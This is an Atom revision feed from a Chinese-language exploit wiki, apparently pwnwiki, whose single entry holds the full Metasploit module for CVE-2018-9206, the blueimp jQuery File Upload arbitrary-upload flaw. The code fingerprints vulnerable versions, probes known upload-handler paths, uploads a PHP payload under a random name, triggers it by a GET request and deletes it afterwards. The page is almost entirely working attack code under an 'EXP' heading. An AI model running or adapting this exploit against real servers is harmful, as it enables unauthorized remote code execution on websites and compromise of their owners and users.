<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-9206_blueimp_jQuery%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-9206 blueimp jQuery任意文件上傳漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-9206_blueimp_jQuery%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-9206_blueimp_jQuery%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-18T08:36:21Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-9206_blueimp_jQuery%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=676&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-9206_blueimp_jQuery%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=676&amp;oldid=prev"/>
		<updated>2021-03-27T02:38:49Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::PhpEXE&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(update_info(info,&lt;br /&gt;
      'Name'           =&amp;gt; &amp;quot;blueimp's jQuery (Arbitrary) File Upload&amp;quot;,&lt;br /&gt;
      'Description'    =&amp;gt; %q{&lt;br /&gt;
        This module exploits an arbitrary file upload in the sample PHP upload&lt;br /&gt;
        handler for blueimp's jQuery File Upload widget in versions &amp;lt;= 9.22.0.&lt;br /&gt;
&lt;br /&gt;
        Due to a default configuration in Apache 2.3.9+, the widget's .htaccess&lt;br /&gt;
        file may be disabled, enabling exploitation of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
        This vulnerability has been exploited in the wild since at least 2015&lt;br /&gt;
        and was publicly disclosed to the vendor in 2018. It has been present&lt;br /&gt;
        since the .htaccess change in Apache 2.3.9.&lt;br /&gt;
&lt;br /&gt;
        This module provides a generic exploit against the jQuery widget.&lt;br /&gt;
      },&lt;br /&gt;
      'Author'         =&amp;gt; [&lt;br /&gt;
        'Claudio Viviani',     # WordPress Work the Flow (Arbitrary) File Upload&lt;br /&gt;
        'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC&lt;br /&gt;
        'wvu'                  # Metasploit module&lt;br /&gt;
      ],&lt;br /&gt;
      'References'     =&amp;gt; [&lt;br /&gt;
        ['CVE', '2018-9206'],&lt;br /&gt;
        ['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],&lt;br /&gt;
        ['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],&lt;br /&gt;
        ['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],&lt;br /&gt;
        ['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],&lt;br /&gt;
        ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],&lt;br /&gt;
        ['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']&lt;br /&gt;
      ],&lt;br /&gt;
      'DisclosureDate' =&amp;gt; 'Oct 9 2018', # Larry's disclosure to the vendor&lt;br /&gt;
      'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;
      'Platform'       =&amp;gt; ['php', 'linux'],&lt;br /&gt;
      'Arch'           =&amp;gt; [ARCH_PHP, ARCH_X86, ARCH_X64],&lt;br /&gt;
      'Privileged'     =&amp;gt; false,&lt;br /&gt;
      'Targets'        =&amp;gt; [&lt;br /&gt;
        ['PHP Dropper',   'Platform' =&amp;gt; 'php',   'Arch' =&amp;gt; ARCH_PHP],&lt;br /&gt;
        ['Linux Dropper', 'Platform' =&amp;gt; 'linux', 'Arch' =&amp;gt; [ARCH_X86, ARCH_X64]]&lt;br /&gt;
      ],&lt;br /&gt;
      'DefaultTarget'  =&amp;gt; 0&lt;br /&gt;
    ))&lt;br /&gt;
&lt;br /&gt;
    register_options([&lt;br /&gt;
      OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])&lt;br /&gt;
    ])&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def version_paths&lt;br /&gt;
    %w[&lt;br /&gt;
      /package.json&lt;br /&gt;
      /bower.json&lt;br /&gt;
    ].map { |u| normalize_uri(target_uri.path, u) }&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  # List from PoC sorted by frequency&lt;br /&gt;
  def upload_paths&lt;br /&gt;
    %w[&lt;br /&gt;
      /server/php/index.php&lt;br /&gt;
      /server/php/upload.class.php&lt;br /&gt;
      /server/php/UploadHandler.php&lt;br /&gt;
      /example/upload.php&lt;br /&gt;
      /php/index.php&lt;br /&gt;
    ].map { |u| normalize_uri(target_uri.path, u) }&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    a = nil&lt;br /&gt;
&lt;br /&gt;
    version_paths.each do |u|&lt;br /&gt;
      vprint_status(&amp;quot;Checking #{u}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      res = send_request_cgi(&lt;br /&gt;
        'method' =&amp;gt; 'GET',&lt;br /&gt;
        'uri'    =&amp;gt; u&lt;br /&gt;
      )&lt;br /&gt;
&lt;br /&gt;
      next unless res&lt;br /&gt;
&lt;br /&gt;
      unless a&lt;br /&gt;
        res.headers['Server'] =~ /Apache\/([\d.]+)/ &amp;amp;&amp;amp;&lt;br /&gt;
          $1 &amp;amp;&amp;amp; (a = Gem::Version.new($1))&lt;br /&gt;
&lt;br /&gt;
        if a &amp;amp;&amp;amp; a &amp;gt;= Gem::Version.new('2.3.9')&lt;br /&gt;
          vprint_good(&amp;quot;Found Apache #{a} (AllowOverride None may be set)&amp;quot;)&lt;br /&gt;
        elsif a&lt;br /&gt;
          vprint_warning(&amp;quot;Found Apache #{a} (AllowOverride All may be set)&amp;quot;)&lt;br /&gt;
        end&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      next unless res.code == 200 &amp;amp;&amp;amp; (j = res.get_json_document) &amp;amp;&amp;amp;&lt;br /&gt;
                  j['version'] &amp;amp;&amp;amp; (v = Gem::Version.new(j['version']))&lt;br /&gt;
&lt;br /&gt;
      if v &amp;lt;= Gem::Version.new('9.22.0')&lt;br /&gt;
        vprint_good(&amp;quot;Found unpatched jQuery File Upload #{v}&amp;quot;)&lt;br /&gt;
        return CheckCode::Appears&lt;br /&gt;
      else&lt;br /&gt;
        vprint_error(&amp;quot;Found patched jQuery File Upload #{v}&amp;quot;)&lt;br /&gt;
        return CheckCode::Safe&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    CheckCode::Unknown&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def find_upload&lt;br /&gt;
    upload_paths.each do |u|&lt;br /&gt;
      vprint_status(&amp;quot;Checking #{u}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      res = send_request_cgi(&lt;br /&gt;
        'method' =&amp;gt; 'GET',&lt;br /&gt;
        'uri'    =&amp;gt; u&lt;br /&gt;
      )&lt;br /&gt;
&lt;br /&gt;
      if res &amp;amp;&amp;amp; res.code == 200&lt;br /&gt;
        vprint_good(&amp;quot;Found #{u}&amp;quot;)&lt;br /&gt;
        return u&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    nil&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    unless check == CheckCode::Appears &amp;amp;&amp;amp; (u = find_upload)&lt;br /&gt;
      fail_with(Failure::NotFound, 'Could not find target')&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    f = &amp;quot;#{rand_text_alphanumeric(8..42)}.php&amp;quot;&lt;br /&gt;
    p = normalize_uri(File.dirname(u), 'files', f)&lt;br /&gt;
&lt;br /&gt;
    print_status('Uploading payload')&lt;br /&gt;
    res = upload_payload(u, f)&lt;br /&gt;
&lt;br /&gt;
    unless res &amp;amp;&amp;amp; res.code == 200 &amp;amp;&amp;amp; res.body.include?(f)&lt;br /&gt;
      fail_with(Failure::NotVulnerable, 'Could not upload payload')&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_good(&amp;quot;Payload uploaded: #{full_uri(p)}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print_status('Executing payload')&lt;br /&gt;
    exec_payload(p)&lt;br /&gt;
&lt;br /&gt;
    print_status('Deleting payload')&lt;br /&gt;
    delete_payload(u, f)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def upload_payload(u, f)&lt;br /&gt;
    p = get_write_exec_payload(unlink_self: true)&lt;br /&gt;
&lt;br /&gt;
    m = Rex::MIME::Message.new&lt;br /&gt;
    m.add_part(p, nil, nil, %(form-data; name=&amp;quot;files[]&amp;quot;; filename=&amp;quot;#{f}&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
    send_request_cgi(&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'uri'    =&amp;gt; u,&lt;br /&gt;
      'ctype'  =&amp;gt; &amp;quot;multipart/form-data; boundary=#{m.bound}&amp;quot;,&lt;br /&gt;
      'data'   =&amp;gt; m.to_s&lt;br /&gt;
    )&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exec_payload(p)&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'uri'    =&amp;gt; p&lt;br /&gt;
    }, 1)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def delete_payload(u, f)&lt;br /&gt;
    send_request_cgi(&lt;br /&gt;
      'method'   =&amp;gt; 'DELETE',&lt;br /&gt;
      'uri'      =&amp;gt; u,&lt;br /&gt;
      'vars_get' =&amp;gt; {'file' =&amp;gt; f}&lt;br /&gt;
    )&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>